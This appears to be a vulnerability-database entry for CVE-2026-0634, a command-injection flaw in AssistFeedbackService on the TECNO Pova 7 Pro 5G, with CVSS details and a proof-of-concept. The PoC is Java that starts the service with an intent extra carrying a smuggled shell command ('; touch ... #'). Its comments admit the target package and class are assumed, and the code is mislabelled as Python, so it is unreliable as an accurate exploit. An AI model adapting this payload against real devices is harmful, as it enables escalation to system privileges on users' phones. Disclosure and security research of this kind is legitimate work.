Code execution in AssistFeedbackService of TECNO Pova7 Pro 5G on Android allows local apps to execute arbitrary code as system via command injection.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
TECNO Pova 7 Pro 5G
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-0634
* Demonstrates command injection in AssistFeedbackService
*/
import android.content.Intent;
import android.content.Context;
import android.util.Log;
public class CVE_2026_0634_PoC {
private static final String TAG = "CVE-2026-0634_PoC";
public static void exploit(Context context) {
try {
// Target the vulnerable service
Intent intent = new Intent();
intent.setClassName("com.android.settings", ".assist.AssistFeedbackService"); // Assumed package/class based on description
// Construct malicious payload using command injection
// Example: appending a command to touch a file to prove execution
String maliciousInput = "normal_feedback; touch /data/local/tmp/cve_2026_0634_pwned #";
// Put the payload into the Intent extra
intent.putExtra("feedback_data", maliciousInput);
// Start the service to trigger the vulnerability
context.startService(intent);
Log.i(TAG, "Payload sent successfully. Check /data/local/tmp/ for proof.");
} catch (Exception e) {
Log.e(TAG, "Exploit execution failed", e);
}
}
}